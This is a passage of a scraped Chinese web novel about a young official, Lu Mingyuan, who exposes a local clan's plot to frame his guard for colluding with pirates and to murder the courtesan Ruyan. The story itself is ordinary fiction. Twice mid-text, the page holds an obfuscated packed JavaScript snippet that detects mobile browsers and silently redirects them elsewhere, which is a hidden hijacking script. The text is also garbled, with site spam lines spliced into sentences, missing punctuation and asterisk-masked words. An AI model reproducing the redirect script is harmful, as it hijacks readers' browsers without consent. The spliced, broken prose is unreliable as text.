“让他务必第一时间通知温州汪家主家,早做准备!” 那衙役不敢怠慢,领命匆匆而去。 孟康则深吸一口气,强行压下心中的惊涛骇浪。 他以最快的速度整理好衣冠,脸上挤出一个比哭还难看的笑容。 带着县衙里所有的大小官吏,三步并作两步地朝县衙大门迎去。 “下官平阳知县孟康,不知陆大人驾到,有失远迎,恕罪,恕罪啊!” 人未至,声先到。孟康躬着身子,姿态放得极低。 陆明渊翻身下马,目光平静地看着眼前这个满头大汗、一脸谄媚的朝廷命官,眼神里没有半分波澜。 他没有理会孟康的请罪,而是侧过身,指着身后那三十多名衣衫褴褛的百姓,淡淡地说道。 “孟大人,这些人,你应该不陌生吧?” 孟康的笑容僵在脸上,他眼角余光扫过那些熟悉而又充满恨意的面孔,心中咯噔一下,头皮阵阵发麻。 “这……这些都是我平阳县的子民,下官……下官自然认得。” “认得就好。” 陆明渊从亲信手中接过一摞厚厚的卷宗。 “啪”的一声,卷宗丢在了孟康的怀里,那分量险些让他一个趔趄。 “这里是三十六桩案子,桩桩件件,都出自你平阳县。” “本官在府衙看过,错漏百出,颠倒黑白,简直滑天下之大稽!” 陆明渊的声音陡然转冷,“孟大人,你这个父母官,就是这么当的?” 孟康抱着那沉甸甸的卷宗,额头的冷汗瞬间就下来了。 “大人明鉴,下官……下官……” 陆明渊没有给他辩解的机会,上前一步,逼视着他的眼睛,一字一句地说道。 “就在昨日,府衙门前,跪着近百名为你平阳县鸣冤的百姓。此事,杜知府已经知晓。” “他命我前来,彻查此事。现在,本官就把话给你说明白了,这些案子,是杜知府与我,共同督办!” “你孟大人是想继续揣着明白装糊涂,为虎作伥,赌上你这身官皮和未来的前程,去给某些人示好?” “还是想明哲保身,拨乱反正,戴罪立功?你自己,想清楚!” 孟康惊骇欲绝地看着陆明渊,看着那张年轻的过分的脸,和那双洞悉一切的眼睛。 他明白了,陆明渊不是来查案的,他是来掀桌子的! 而且,他还把知府杜晦之也抬了出来! 这是阳谋,是泰山压顶! 完了! 自己想要两头讨好,浑水摸鱼的念想,彻底破灭了! 孟康的脸色在青白之间不断变换,心中天人交战。 汪家是地头蛇,势力滔天,得罪了他们,自己在温州地面上寸步难行。 可陆明渊是过江的猛龙,背后是朝廷,是圣眷,得罪了他,自己头上的乌纱帽立刻就得落地! 两害相权取其轻! 一个念头如同闪电般划过他的脑海。 他突然双腿一软,“扑通”一声跪倒在地,抱着那堆卷宗,声泪俱下地哭喊起来。 “陆大人!下官糊涂啊!下官有罪!是下官被蒙蔽了双眼,才让我平阳县的子民受此天大的冤屈!” “请大人给下官一个机会,下官一定将功补过,严查到底,绝不姑息任何一件冤屈错案!定会给百姓们一个公道!” 他一边说,一边用袖子抹着眼泪,那份悔恨与决绝,演得入木三分。 陆明渊冷冷地看着他的表演,心中一声冷笑,却没有当场戳破。 他要的,就是孟康这个“配合”的态度。 “既然如此,那便起来吧。” 陆明渊淡淡道,“本官不看你怎么说,只看你怎么做。” “是!是!下官明白!” 孟康如蒙大赦,连忙爬了起来。 陆明渊不再看他,转身对自己的亲信衙役下令。 “传我令,所有府衙差役,协同平阳县衙所有衙役,即刻分成三十六组,一组负责一案。” “带着原告,即刻前往各村各镇,实地取证,勘验现场,询问乡邻!” “三日内,必须将初步的证据和证词汇总回来!” “是!” 二十多名府衙衙役轰然应诺,声震四野。 他们立刻行动起,将平阳县衙那些平日里懒散惯了的衙役们一一整合起来。 分发案卷,带着原告,迅速地朝着四面八方散去。 陆明渊自己,则在县衙正堂,设立了临时公堂,亲自审理那些发生在县城内的案子。 一时间,整个平阳县,风声鹤唳。 接下来的三天,成了平阳县有史以来最不平静的三天。 陆明渊几乎是以一种燃烧自己的方式在工作,每天只在凌晨时分,靠在公堂的椅子上假寐一个时辰。 饿了,便是几口干粮,渴了,便是一碗凉茶。 他的眼睛熬得通红,人也清瘦了一圈,但精神却愈发锐利。 在他的高压与示范下,整个查案的进程快得不可思议。 那些被霸占的田地,重新丈量了,那些被强占的铺面,找到了原来的契约。 那些被构陷入狱的良善,也找到了人证洗刷冤屈…… 一件件冤案的真相,如同被剥去层层伪装,赤裸裸地暴露在光天化日之下。 每一桩案子的最终证据,都如百川归海,指向了同一个源头——汪家。 然而,令人诡异的是,作为这场风暴中心的汪家,却表现出了一种极不寻常的死寂。 无论是他们在县城里的宅邸,还是遍布乡野的庄园、钱庄,都大门紧闭。 汪家的子弟和管事们,仿佛一夜之间全都人间蒸发。 面对衙役上门查封、取证,他们竟没有丝毫的反抗与阻挠。 任由那些曾经被他们视若囊中之物的田产、商铺被一一清算。 这种反常的寂静,比任何激烈的反抗都更让人心悸。 第三天的黄昏,陆明渊处理完最后一份卷宗的批复,将朱笔重重地按在惊堂木上。 堂下,孟康侍立一旁,这三天里,他瘦了不止一圈。 脸上的谄媚早已消失不见,取而代之的是一种混杂着恐惧与敬畏的复杂神情。 “孟大人,” 陆明渊缓缓开口,声音嘶哑,“三十六桩冤案,证据确凿,事实俱在。你平阳县的这片天,该亮了。” 孟康躬身道:“全赖大人明察秋毫,雷霆手段!” 陆明渊却没有看他,他的目光穿过大堂的门,望向远方汪家宅邸的方向,那里的天空,晚霞如血。 汪家,损失惨重,却寂静无声。 这潭看似被搅动起来的浑水,其深处的暗流,才刚刚开始显露它狰狞的面目。 这绝不是屈服,而是在积蓄着力量,等待着更致命的一击。 陆明渊的嘴角,牵起一抹冰冷的弧度。 暴风雨前的宁静,总是格外寂静。 他等的,就是这风暴来临。 第217章 这是真的动了杀心! 汪家的巨宅,笼罩在一片死寂的阴影之下。 书房内,紫檀木长案上,一尊小巧的铜制鹤形香炉,青烟袅袅,散着价值千金的龙涎香气。 月光透过窗棂,在地面上投下斑驳的格纹,将房内一站一坐两个人影,勾勒得晦暗不明。 坐着的人是汪家家主,汪智文。 他穿着一身素色丝绸常服,手中拿着一封书信! 他没有看站在面前的弟弟,目光仿佛穿透了墙壁,落在了不知名的远方。 汪智权脸色铁青,额角甚至有冷汗渗出,顺着鬓角滑落。 他不敢擦,甚至不敢大声呼吸。 他已经在这里站了足足半个时辰,而他的兄长,就这么盯了半个时辰,一言不发。 这种沉默,比任何雷霆震怒都更让他感到恐惧。 平阳县的事情,终究是压不住了。 数十年来,汪家在平阳织的巨网,被撕扯得七零八落。 终于,汪智文开口了。 “六成的产业,二十万两的亏损。” “智权,我汪家在平阳数十年的积累,不是让你拿来给一个黄口小儿当功绩的。” 汪智权身子一颤,终于忍不住躬身道。 “大哥,是我的错!我……我没想到他敢做得这么绝!” “你没想到?” 汪智文终于转过头,月光照亮了他半边脸。 那双眼睛里没有怒火,只有一片深不见底的寒潭。 “那你告诉我,这件事,为何要瞒我到现在?” “我……” 汪智权语塞,喉结艰难地滚动了一下,苦涩地解释道。 “大哥,我本以为这件事,很好处理。一个十二岁的少年郎,就算有些圣眷,又能有多大的城府?” “那何二柱的案子,我退了一步,给了他面子。” “他初到温州府,我便遣人送去帖子,想拉拢他入咱们的局,他拒了。” “我以为他嫌礼薄,不久前,我让护卫在街上‘失手’伤人,想借此给他一个台阶。” “我亲自登门,送去前朝画圣吴道子的一幅《松下观瀑图》,他依旧拒了。” “字画不要,我便送黄金!整整十箱,黄澄澄的金子,足以让京城里一个侍郎动心,他看都没看一眼!” “黄金不要,我送女人!” “丽春院的花魁,我亲自挑的,个个都是能让神仙动凡心的尤物,送到他府门口,他连门都没让进!” 汪智权的声音越来越激动,带着一股难以言喻的挫败感。 “他什么都不要!油盐不进,软硬不吃!” “他摆明了,就是要跟我汪家过不去!他不是来当官的,他是来当阎王的!” 书房内,再度陷入了死寂。 只剩下汪智权粗重的喘息声。 许久,汪智文才缓缓将手中的核桃放在桌上,发出一声轻响。 “你错了。” 他淡淡地说道。 “他不是不要,而是他要的,你给不起,我们汪家也给不起。” 汪智权一愣:“他要什么?” “他要的是青史留名,要的是朗朗乾坤,要的是他心中的那个‘公道’。” 汪智文的嘴角,勾起一抹嘲讽的弧度。 “这种东西,虚无缥缈,却也最是昂贵。因为要拿它,就得踩着我们的尸骨往上爬。” 汪智权的脸色变得愈发难看。 “大哥,那现在……” “既然拉拢不成,道理也讲不通,” 汪智文的眼神彻底冷了下来。 “那就只剩下一个选择了。” 他站起身,走到窗边,负手而立,望着窗外沉沉的夜色。 “逼他走。” “将他从温州这盘棋上,挪出去。” “他想当个名垂青史的孤臣,那便让他去别处当,我温州府,容不下这尊大佛。” 汪智文的声音里透着一股不容置疑的决断。 “这件事,我会亲自安排人手去办。” “从今日起,你禁足在家,没有我的允许,不许踏出府门半步。” “平阳的烂摊子,我会收拾,你惹出来的麻烦,也该到此为止了。” “大哥!” 汪智权急了,他知道,这不仅仅是禁足,更是兄长对他彻底失望,要收回他手中权柄的信号。 他咬了咬牙,压低声音道。 “大哥,请再信我一次!我已经布下了一个局,一个让他不得不走的局!” 汪智文的眉梢微微一挑,示意他继续说下去。 “那个陆明渊,自身如铁石,无懈可击。但他的身边人,未必也是。” 汪智权的眼中闪过一丝阴狠的光芒。 “我已安排了丽春院的花魁如烟,去接近他身边那个最受信任的护卫。” “如烟此女,身世可怜,最会拿捏男人心思。如今,那个护卫已经对她情根深种,言听计从。” “接下来,我会让如烟去求那个护卫,帮她送一位‘救命恩人’出温州港。” “而这位所谓的恩人,实则是一名倭寇头目!” “届时,我会安排好人手,在码头当场‘撞破’此事,人赃并获!” “物证,便是那倭寇头目。人证,便是我们安排好的几十个‘亲眼所见’的码头脚夫和客商!” 汪智权的声音越说越低,也越说越兴奋。 “通倭!这是泼天的罪名!那护卫是陆明渊的心腹,他跳进黄河也洗不清。” “陆明渊身为温州府同知,治下出此等大案,更有用人不察、包庇纵容之嫌!” “到时候,我们再让朝中的关系递上几本奏疏,言说冠文伯年少有为,不该屈居同知之位,当外放一州,任一地知府,方能尽展其才。” “陛下爱惜他的才华,又见温州府出了这等丑事,为了保全他的名声,必定会顺水推舟,将他调离温州!” “将此案做成铁案,也让他走得‘体面’!” 听完这番话,汪智文沉默了片刻。 这个计划,狠毒,周密,且直指要害。 “不错。” 汪智文终于点了点头,脸上露出了一丝满意的神色。 “倒也不算全都是草包。” 他重新坐回太师椅上,缓缓道。 “这件事,你便放手去做。手脚干净些,不要留下尾巴。出了事,我替你盯着。” 得到兄长的首肯,汪智权一直紧绷的神经终于松弛下来,心中涌起一阵狂喜。 然而,汪智文接下来的话,却让他心头一凛。 “不过,” 汪智文的指尖在紫檀木桌面上轻轻敲击着,发出“叩、叩”的轻响。 “凡事,都要有第二手准备。” 他从长案的暗格中,取出一枚通体漆黑的铁制令牌,令牌上刻着一个狰狞的海兽图腾。 “如果这个计划不成,那就怪不得我们心狠手辣了。” 他的声音轻得如同梦呓,却带着一股令人不寒而栗的杀意。 “我会让东海上的朋友们,给这位冠文伯准备一份真正的大礼。” 汪智权看着那枚令牌,瞳孔骤然收缩。 他知道,那是汪家与那些海上亡命之徒联系的信物。 兄长,这是真的动了杀心! …… 清晨的阳光,再一次洒在温州府的土地上。 与一个月前那压抑的薄雾不同,今日的阳光显得格外明媚。 一队人马,自平阳县的方向,缓缓行入温州府城。 为首的,依旧是那个骑着神骏白马的少年。 陆明渊。 一个月的时间,他几乎是以一种近乎疯狂的方式,将府衙卷宗库里那五十三桩积压的冤案,一一梳理,一一审结。 从平阳县开始,这股名为“公道”的烈火,烧遍了乐清、永嘉、瑞安。 整个温州府的官场,都在这股烈火之下瑟瑟发抖。 平阳县的官吏,从主簿、县丞到下面的典史、巡检,被更换了一大半。 那些与汪家沆瀣一气的爪牙,被尽数拔除。 新上任的官员,战战兢兢,如履薄冰,再不敢有丝毫懈怠与枉法。 而被霸占的田产物归原主,被强抢的妻女得以还家,被冤入大牢的良善重见天日…… 当陆明渊带着人手准备返回府城时,平阳县的百姓自发地夹道相送。 众人脸上,流泪水,口中呼喊着“青天大老爷”。 陆明渊只是平静地坐在马上,接受着这一切。 一个月的时间,让他清瘦了许多,原本就白皙的脸庞更显削瘦,眼眶下是洗不掉的淡淡青黑。 但他的那双眼睛,却比以往任何时候都要明亮,锐利得仿佛能洞穿人心。 他抬头望向前方那高大巍峨的温州府城墙,目光平静深远。 在这场雷霆风暴之后,汪家陷入了死一般的沉寂,仿佛之前的一切都与他们无关。 陆明渊知道,这绝非屈服。 汪家一定在准备着他的杀招。 陆明渊,也一直在等着! 他在等着汪家出手! 第218章 活要见人,死要见尸! 车马辚辚行至温州府衙门前尚未停稳便有一股不同寻常的肃杀之气扑面而来。 府衙正门大开两列衙役手持水火棍神情肃穆站得笔直。 往日里那些交头接耳、神情懒散的官吏此刻都噤若寒蝉垂首立于两侧连大气都不敢喘。 空气中弥漫着一种山雨欲来的压抑。 陆明渊翻身下马将缰绳递给身后的护卫目光平静地扫过眼前这番阵仗。 他没有说话只是迈步向府衙内走去。 正当他踏上公堂前的台阶时一个穿着温州卫所百夫长服饰的武官从人群中猛地跨出一步。 “噗通”一声跪倒在地声嘶力竭地哭喊道: “卑职温州卫百夫长张猛状告冠文伯身边护卫林成私通倭寇罪不容诛!” 这一声呐喊如同平地惊雷炸得整个府衙前院鸦雀无声。 所有人的目光瞬间聚焦在了那个依旧面色平静的少年身上。 公堂之上温州知府杜晦之端坐于案后脸上恰到好处地流露出一丝惊愕。 但那双藏在惊愕之下的眼睛里却闪烁着一丝难以抑制的兴奋光芒。 他猛地一拍惊堂木厉声喝道。 “张百夫长公堂之上岂可胡言!通倭乃是灭门大罪你可有证据?” “卑职有人证物证!” 张猛从怀中掏出一封书信高高举过头顶悲愤道。 “倭寇头目井上三郎昨日夜间自温州港逃脱!” “有码头二十余位力工为证!” “经调查井上三郎通过丽春院花魁如烟勾结林成于昨天夜里将其偷偷放出温州府。” “这是在花魁如烟房中搜出的书信上面写得清清楚楚!” 杜晦之眼中精光一闪立刻喝道:“来人将证物呈上来!将一干人等带入后堂本府要亲自审问!” 他的目光转向陆明渊脸上换上了一副痛心疾首的表情拱手道。 “冠文伯此事体大 “下官不敢怠慢必须立刻查清。” “您一路劳顿还请先回府歇息待案情有了眉目下官第一时间向您通报。” 这番话说得滴水不漏既表现了公事公办又给了陆明渊足够的“面子”。 对方告的是冠文伯不是温州府同知! 杜晦之自然要以下官称之! 陆明渊静静地看着他神 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 情淡定。 “有劳杜知府了。” 他淡淡地回了一句没有多余的言语转身便走。 那云淡风轻的姿态让原本准备好了一肚子说辞的杜晦之竟有些无处着力心中莫名地感到一阵憋闷。 …… 一日之间风云变幻。 整个温州府都在谈论着这桩泼天大案。 冠文伯的心腹护卫私通倭寇! 这个消息比陆明渊在平阳县掀起的风浪传播得更快也更惊人。 而杜晦之的“调查”也进行得异常顺利。 仅仅用了一天的时间案情便已“水落石出”。 所有的证据都指向了丽春院的一位花魁如烟。 据说那名叫林成的护卫对如烟姑娘情根深种。 而如烟姑娘则利用了这一点指使林成帮助她的“救命恩人”——也就是倭寇头目井上三郎——逃离温州。 更致命的是当府衙的捕快冲入丽春院时如烟姑娘早已人去楼空不知所踪。 但在她的闺房之内却“恰好”搜出了几封她与倭寇联络的书信。 信中她明确表示自己知道对方是倭寇。 并承诺会让“那位陆大人的心腹护卫”搞定城门与码头的官兵确保他们能顺利出海。 人证是几十个“亲眼目睹”林成护送倭寇上船的码头脚夫和客商。 物证是那几封措辞确凿的“通敌书信”。 一个完美的闭环将林成 当晚杜晦之便派人将陆明渊“请”到了自己的书房。 与汪智文那间沉寂如深渊的书房不同杜晦之的书房里灯火通明。 书房内陈设着各种名贵的古玩字画处处透着一股想要炫耀却又底蕴不足的浮华。 他亲自为陆明渊斟上一杯茶脸上挂着亲切的笑容。 “明渊啊你我虽是同僚但我痴长你许多岁便托大叫你一声明渊。” 杜晦之将查到的所有“证据”——那几封伪造得天衣无缝的书信以及厚厚一沓的口供推到了陆明渊面前。 “案子查到这里我是痛心疾首啊!” 他长叹一口气身体微微前倾压低了声音。 “林成是你的人这一点谁也否认不了。如今人证物证俱在通倭之罪已是铁案。” “老夫知道你必定是被这等刁奴蒙蔽了。” “可朝廷法度如山 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 御史言官的嘴更是**不见血的刀啊!” 他一边说一边得意地观察着陆明渊的表情。 他期待着陆明渊开口求他求他高抬贵手求他帮忙转圜。 只要陆明渊开了这个口就等于递上了投名状。 从此以后这位圣眷正浓的冠文伯就只能是他杜晦之是他背后那些人阵营里的一份子。 大家一起在温州府这片富贵乡里你好我好大家好。 然而他失望了。 陆明渊只是拿起那几封信平静地看了一遍。 他脸上没有惊慌没有愤怒甚至连一丝波澜都没有。 只有不屑。 那种发自骨子里的对这种拙劣把戏的深深的不屑。 “杜知府” 陆明渊将信纸轻轻放回桌上声音清冷如玉石相击。 “这案子漏洞百出说是构陷都是抬举了它。” 杜晦之脸上的笑容一僵。 “林成是我的人我已去天牢里问过他。” 陆明渊的目光直视着杜晦之那双清澈的眼睛里仿佛映照出杜晦之所有的心思。 “他承认他帮了如烟。但如烟告诉他那人是得罪了本地世家急于回乡避祸的富商。” “他一时心软动了恻隐之心犯了失察之过但绝非通敌!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777309|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“至于这几封信……”陆明渊的嘴角勾起一抹嘲讽的弧度。 “一个风尘女子与倭寇头目联络 “是她蠢还是布局之人觉得我们所有人都跟她一样蠢?” 杜晦之的脸色瞬间变得有些难看强自辩解道。 “或许……或许是她逃得匆忙忘了销毁!” “是吗?”陆明渊靠在椅背上神情淡漠。 “一个能让倭寇头目信任能将我身边最机警的护卫**于股掌之间的女人会犯下这等低级的错误?” 他顿了顿语气陡然转冷。 “这件案子究竟是否蹊跷杜知府的心里比我更清楚。” “你大可以按照这所谓的证据如实上报朝廷。我陆明渊也自会上书向陛下伸冤向天下人陈情!” “我倒要看看是我这颗状元郎的脑袋硬还是温州府这汪黑水更能遮天蔽日!” 说完陆明渊缓缓起身不再看脸色阵青阵白的杜晦之径直向门外走去。 “杜知府 你的朋友正在书荒,快去帮帮他吧 想将此案做成铁案,我偏要将它翻个底朝天。” “你背后的人,想让我体面地走,我偏要留下来,看看他们还有多少见不得光的手段。” “这盘棋,既然已经开局,那就好好下。” “只是下棋的人,最好别把自己,也当成了棋子。” 话音落下,陆明渊的身影已经消失在门外。 夜风吹入书房,卷起桌上的信纸,发出“哗啦啦”的声响,像是在无情地嘲笑着什么。 杜晦之呆立在原地,只觉得一股寒意从脚底直冲天灵盖。 陆明渊走出府衙,夜色深沉。 他抬头看了一眼那轮悬在天际的残月,眼中的平静化为了冰冷的锋芒。 “去查。” 他对身边仅剩的几名护卫下令。 “丽春院,花魁如烟。我要知道她的所有过往,她家人的下落,她最近接触过的所有人。” “活要见人,死要见尸!” “是!” 护卫们低声应诺,身影迅速融入了黑暗之中。 而在他们身后,知府书房内,那短暂的死寂被一声怒吼打破。 “混账!混账东西!” 杜晦之脸上的肌肉扭曲着,那份被少年郎当面戳穿所有伪装的羞辱,瞬间吞噬了他所有的理智。 他冲到书案前,抓起笔,蘸满了墨,在一张判牒上疯狂地书写起来。 “来人!” 他将判牒狠狠摔在地上,声嘶力竭地咆哮着。 “传本府将令!” “罪囚林成,私通倭寇,罪大恶极,证据确凿,无可辩驳!” “判,秋后问斩!” “三个月后,午时三刻,于闹市行刑,以儆效尤!” 判决下达的那一刻,温州府的夜,似乎变得更黑了。 一场围绕着“公道”与“规矩”的战争,在沉默了整整一个月后,终于以最酷烈、最直接的方式,露出了它血淋淋的獠牙。 棋盘已经摆开,黑白子落定,再无转圜余地。 第219章 他亲自在敲鸣冤鼓! 当“冠文伯心腹护卫私通倭寇,不日问斩”的消息,传遍温州府的大街小巷。 它所遇到的,并非预想中的附和与唾骂,而是从无数议论与质疑。 “不可能!绝对不可能!” “陆大人是何等人物?他在平阳县开仓放粮,智斗汪家,为的是什么?为的就是我们这些升斗小民!” “他的心腹,怎么可能去通倭?这是栽赃!是陷害!” “就是!倭寇是什么东西?那是恨不得把我们沿海百姓扒皮抽筋的畜生!” “陆大人的护卫,跟着陆大人见识过倭寇的残暴,怎会与之为伍?” “我听说啊,是府衙里那位杜大人下的判决,一天之内就定了案,这事儿,蹊跷!” 流言蜚语,在官方的强压之下,并未消散,反而像地下的潜流,汇聚成了更汹涌的力量。 当官府的叙事失去了民心的信任,民间的叙事便会自发地生长出来。 他们不相信冠文伯的人会通倭。 那唯一的解释就是,这位为民**的青天大老爷,自己陷入了一个巨大的阴谋之中。 于是,一种奇特的景象在温州府出现了。 那些平日里只顾着自己生计的脚夫、商贩、手艺人,在收工之后,三三两两聚在一起,谈论的不再是家长里短,而是这桩惊天大案的每一个细节。 官府的力量是自上而下的,如同铁幕。 而民间的力量,则是自下而上的,如同藤蔓,无孔不入,坚韧无比。 仅仅半日之后,这股力量便撬动了铁幕的一角。 一个满身油汗,身材魁梧的汉子,神情紧张地冲到了陆明渊下榻的驿馆门前。 任凭护卫阻拦,只是拼命地大喊着要见陆大人。 “让他进来。” 陆明渊的声音从院内传来,平静而沉稳。 那汉子被带到堂前,一见到陆明渊,便“噗通”一声跪倒在地,声音带着几分颤抖。 “小人……小人是城东望京路的铁匠王大锤,小人有要事禀报大人!” “请讲。” 陆明渊亲自上前,将他扶起。 王大锤心中的紧张稍减,语速极快地说道。 “大人,前天夜里,就是案发那天夜里!三更天,小人因为赶着给客人打一批船钉,睡得晚了。” “忽然听见后巷有动静,小人从门缝里偷偷一瞧,就看见几个人影,鬼鬼祟祟地从丽春院的后门抬了个麻袋出来,扔上了一辆早就等在那里的马车! 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 “那马车没点灯,赶得飞快,小人当时就觉得蹊跷,这……这哪里像是逃跑,分明是绑人! 陆明渊的眼中,骤然亮起一道精光。 “你看清马车往哪个方向去了吗? “往东!肯定是往东城门的方向去了! 王大锤肯定地说道。 “好! 陆明渊重重点头,他看着眼前这个朴实的铁匠,郑重地一揖到底。 “多谢壮士,此恩,明渊记下了。 王大锤顿时手足无措,连连摆手。 “大人使不得,使不得!小人就是……就是信得过大人!不想让好人蒙冤! 这句“信得过,比千言万语更重。 陆明渊立刻派出了自己身边仅剩的几名护卫,沿着王大锤提供的线索,直奔城东而去。 他没有动用府衙的力量,因为他知道,此刻的府衙,每一双眼睛都可能是杜晦之的耳目。 他能依靠的,只有自己的人,以及……这座城里,无数双愿意为他睁开的眼睛。 护卫们沿着望京路一路向东,不再是秘密查访,而是公开询问。 “各位街坊,前日三更,可曾听到有马车经过? 出乎意料,回应他们的是此起彼伏的声音。 “听到了!听到了!那马车轮子压过石板路,声音闷得很,像是载了重物! 一个卖豆腐的老伯说道。 “我也听见了,我还纳闷呢,谁家半夜三更赶路,连个灯笼都不挂,跟做贼似的! 一个刚开门的包子铺老板娘插嘴道。 一条街,又一条街。 一个证人,又一个证人。 无数百姓自发提供的证言,如同一块块碎片,在陆明渊的面前,渐渐拼凑出了一条完整的路线。 那辆黑色的马车,在寂静的深夜里,穿过大半个城区,最终从守备松懈的东城门,消失在了茫茫夜色之中。 陆明渊亲自带着人手,追出了东城门。 城外的道路泥泞,但对于他身边这些从边关厮杀出来的护卫而言,寻找车辙印并非难事。 他们沿着那道若隐若现的痕迹,一路追查到了一片荒僻的乱葬岗。 空气中,开始弥漫起一股淡淡的血腥味和腐臭。 一名护卫突然停下脚步,指着不远处一片被刨得乱七八糟的土堆,低声道:“大人,那里有秃鹫! 众人心中一沉,快步上前。 眼前的一幕,让所有人都 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 倒吸了一口凉气。 一具残破不堪的尸身被随意地掩埋在浅土之下又被野兽刨出啃食得面目全非。 几件撕碎的绫罗绸缎散落在旁依稀能辨认出是女子服饰。 这等惨状莫说辨认身份就连拼凑出一具完整的形体都已是奢望。 杜晦之背后的人做得好绝! 他们不仅要**灭口更是要毁尸灭迹。 他们要让这世上再无如烟这个人让所有的线索都断在这里! 陆明渊的脸色冷得像冰他蹲下身静静地看着那具残骸眼中没有恐惧只有一片深不见底的寒意。 “请府衙的仵作来。” 他冷冷地开口“就说东郊发现无名女尸请他依规矩验尸。” 他没有点明这可能是谁但他知道杜晦之会懂。 他就是要用杜晦之自己定下的“规矩”来一步步撕开他的伪装。 温州府的仵作很快便被“请”了来。 那是个山羊胡的老头在杜晦之手下当差本想敷衍了事。 可当着冠文伯和一众百姓的面他不敢做得太过。 只能硬着头皮捏着鼻子在那堆模糊的血肉中仔细翻检起来。 半个时辰后老仵作的脸色变了。 这尸体的确是昨夜才死显然是有冤情! 他从尸体的胃容物残余中小心翼翼地拈起一些半消化的草药碎末。 放在鼻尖闻了闻又用银针试了试脸色瞬间煞白。 “大人……” 他颤巍巍地跪倒在陆明渊面前。 “这……这尸身之内有……有大量**的残留!” “此女并非死于野兽撕咬而是先被人用药迷晕后……后才被弃尸于此!这是**!” **! 这三个字如同一道惊雷炸响在众人耳边! 这足以证明那名叫如烟的姑娘根本不是主动逃跑而是被人迷晕后强行掳走再**抛尸! 与此同时另一队奉命前往丽春院查访的护卫也带回了新的消息。 丽春院的老鸨和姑娘们在得知如烟的“通倭罪名”后个个义愤填膺。 一名与如烟交好的清倌人更是哭着对护卫说。 “不可能的!姐姐前几天还拉着我的手高兴地说有位贵人已经答应为她赎身她马上就能跳出这火坑去过安生日子了!” “她未来满是希望 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 短见!” 人证!物证!动机! 一个完整的证据链,清晰地指向了一个截然不同的真相。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777310|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 所谓的“通倭案”,从头到尾,就是一场精心策划的**与栽赃! 夜色再次降临温州府,驿馆之内,灯火通明。 陆明渊端坐于案前,将所有的证据、证词,一一整理成册。 他要的,不仅仅是为林成翻案。 他要的,是让那些自以为能操纵一切,视人命如草芥的黑手,付出血的代价! 他要的,是让这温州府的天,重新变得清朗起来! 写完最后一笔,陆明渊缓缓起身,目光扫过窗外那轮清冷的月。 “备轿。” “去哪儿,大人?” “府衙。” …… “咚!” 一声沉闷而巨大的鼓声,在寂静的夜里,毫无征兆地炸响。 “咚!” “咚!” “咚!” 一声接着一声,急促、沉重,充满了不屈的愤怒与滔天的冤屈。 这是府衙前的鸣冤鼓! 非有天大冤情,不得擅敲,擅敲者,先受三十水火棍! 鼓声如雷,瞬间传遍了半个温州府城。 无数已经歇下的百姓被惊醒,纷纷推开窗户,惊疑不定地望向府衙的方向。 而此刻的知府后衙,刚刚准备安歇的杜晦之,在听到第一声鼓响时,整个人如同被雷劈中,猛地从床上弹了起来! “鸣冤鼓?谁?是谁吃了熊心豹子胆,敢在这个时候敲鸣冤鼓!” 他惊怒交加地咆哮着。 一名心腹师爷连滚带爬地跑了进来,脸上满是惊骇与慌乱。 “大……大人……不好了!” “是……是冠文伯!是陆明渊!” “他……他亲自在敲鸣冤鼓!” 杜晦之的脑袋“嗡”的一声,一片空白。 陆明渊? 他来敲鸣冤鼓? 他要干什么? 不等他想明白,陆明渊已经用行动给了他答案。 当杜晦之衣衫不整,在众衙役的簇拥下,匆匆赶到公堂之上,点起灯火时,看到的是一幅让他终身难忘的画面。 那个年仅十二岁的少年,身着从六品同知官服,身姿笔挺地立于公堂之下。 他的身后,站着闻声赶来的,密密麻麻的温州百姓。 见到杜晦之出现,陆明渊扔掉了手中的鼓槌。 他上前 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 一步,从怀中掏出那本整理好的卷宗,高高举起,声音清越,响彻整个府衙。 “本官,大乾王朝敕封冠文伯、温州府同知陆明渊,为麾下护卫林成,鸣冤!” “林成一案,疑点重重,乃是构陷!” “本官已查获新人证、新物证,足以证明此案另有真凶!” 他将卷宗重重地拍在堂前的惊堂木旁,目光直视着脸色铁青的杜晦之,一字一顿地说道: “本官以温州府同知之身份,状告此案审理不公,草菅人命!” “现要求,将此案所有卷宗、人证、物证,即刻封存,上报浙江提刑按察司,请按察使大人,重审此案!” 声音落下,满堂死寂。 杜晦之看着那本卷宗,看着陆明渊那双不带丝毫感情的眼睛。 只觉得一股寒气从脊椎骨升起,手脚冰凉。 他想发怒,想呵斥,想说“一派胡言”。 可是在那如山铁证和堂外成百上千双眼睛的注视下,他一个字也说不出来。 陆明渊冷冷的看着杜晦之! 他倒是要看看,温州府汪家,能不能把手伸到京都去! 今天白天,他已经派遣护卫,送了两封奏疏。 一封奏疏通过温州总兵府,八百里加急,送往京师,大理寺卿,赵浩然赵大人府上! 一封奏疏通过温州府官道,送往京都刑部! 第220章 从今天起,断绝和汪家的联系! 府衙公堂之上,灯火摇曳。 